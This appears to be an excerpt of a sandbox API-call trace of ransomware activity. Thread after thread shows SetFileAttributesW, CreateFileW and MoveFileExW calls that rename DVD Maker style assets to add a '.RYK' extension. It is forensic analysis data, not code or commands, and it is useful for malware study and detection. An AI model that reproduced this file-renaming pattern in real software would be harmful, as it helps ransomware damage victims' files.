	[0225.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 710
	os_tid = 0x1348

	[0225.129] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png", dwFileAttributes=0x80) returned 0
	[0225.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 711
	os_tid = 0x134c

	[0225.131] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png", dwFileAttributes=0x80) returned 0
	[0225.131] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 712
	os_tid = 0x1350

	[0225.511] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv", dwFileAttributes=0x80) returned 0
	[0225.511] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 713
	os_tid = 0x1354

	[0225.512] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0225.512] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 714
	os_tid = 0x1358

	[0225.514] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv", dwFileAttributes=0x80) returned 0
	[0225.514] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.514] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 715
	os_tid = 0x135c

	[0225.515] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0225.515] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 716
	os_tid = 0x1360

	[0225.516] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv", dwFileAttributes=0x80) returned 0
	[0225.517] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 717
	os_tid = 0x1364

	[0225.518] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0225.518] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 718
	os_tid = 0x1368

	[0225.519] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png", dwFileAttributes=0x80) returned 0
	[0225.519] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 719
	os_tid = 0x136c

	[0225.521] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png", dwFileAttributes=0x80) returned 0
	[0225.521] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 720
	os_tid = 0x1370

	[0225.522] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png", dwFileAttributes=0x80) returned 0
	[0225.522] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 721
	os_tid = 0x1374

	[0225.523] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png", dwFileAttributes=0x80) returned 0
	[0225.524] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 722
	os_tid = 0x1378

	[0225.739] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp", dwFileAttributes=0x80) returned 0
	[0225.739] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 723
	os_tid = 0x137c

	[0225.740] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png", dwFileAttributes=0x80) returned 0
	[0225.741] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.741] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 724
	os_tid = 0x1380

	[0225.742] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png", dwFileAttributes=0x80) returned 0
	[0225.742] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.742] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 725
	os_tid = 0x1384

	[0225.743] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png", dwFileAttributes=0x80) returned 0
	[0225.743] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.744] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 726
	os_tid = 0x1388

	[0225.745] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0225.745] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.745] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 727
	os_tid = 0x138c

	[0225.746] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0225.746] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.746] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 728
	os_tid = 0x1390

	[0225.747] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png", dwFileAttributes=0x80) returned 0
	[0225.747] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.748] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 729
	os_tid = 0x1394

	[0225.749] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png", dwFileAttributes=0x80) returned 0
	[0225.749] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 730
	os_tid = 0x1398

	[0225.750] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0225.750] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.750] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 731
	os_tid = 0x139c

	[0225.751] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0225.751] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.752] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 732
	os_tid = 0x13a0

	[0225.753] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png", dwFileAttributes=0x80) returned 0
	[0225.753] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.753] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 733
	os_tid = 0x13a4

	[0225.754] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx", dwFileAttributes=0x80) returned 0
	[0225.754] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 734
	os_tid = 0x13a8

	[0225.932] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png", dwFileAttributes=0x80) returned 0
